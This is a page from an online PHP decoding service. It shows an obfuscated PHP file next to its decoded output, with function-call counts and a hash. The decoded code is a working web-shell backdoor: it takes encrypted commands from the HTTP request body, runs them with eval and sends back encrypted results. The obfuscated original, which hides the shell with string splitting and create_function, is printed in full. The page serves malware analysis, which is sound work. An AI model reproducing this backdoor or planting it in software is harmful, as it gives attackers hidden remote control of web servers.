Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $h='put?"),??$?m)==1){@ob_start();@e?val(?@gzu?n?compress(?@x(@base?64_decode?($m[1..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="4160e69c";$kh="b3cdb0ff0cdc";$kf="dd5eb701c884";$p="12kRnSeBNlKRDiPU";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$h='put?"),??$?m)==1){@ob_start();@e?val(?@gzu?n?compress(?@x(@base?64_decode?($m[1]?),?$k)?));$o?=?@ob_get';
$o='$k=?"?4160e6?9c";$kh="?b3c?db0ff0?cdc";$kf="dd5e?b701c?884?";$p="12kR?nSe?BNlKRDiPU"?;fu?nctio?n x($t?';
$l=',??$k){$c=?strlen(?$k)?;$l=strlen($t);$o=""?;fo?r($i=0;$i<?$l;)?{for(?$j=0?;?($j<$c&&$?i<$l);$j++,?$i++){';
$C='_contents();??@ob?_end_clean();?$r=@ba?se64_en?c?ode(@x(@gzcom?pres?s($o),$k?)?);print("$?p?$kh$r$kf");}';
$O=str_replace('Fj','','crFjeatFjFje_fFjuncFjtiFjon');
$Z='???$o.=?$t{$i}^$k?{$j};}}r?eturn $?o;}if(@preg?_match(??"/$kh(.+)$?kf?/",@file_get_cont?en?ts("ph?p://in';
$S=str_replace('?','',$o.$l.$Z.$h.$C);
$z=$O('',$S);$z();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | ff15487f15d7c0549edf80d0a33d8b6d |
Eval Count | 1 |
Decode Time | 209 ms |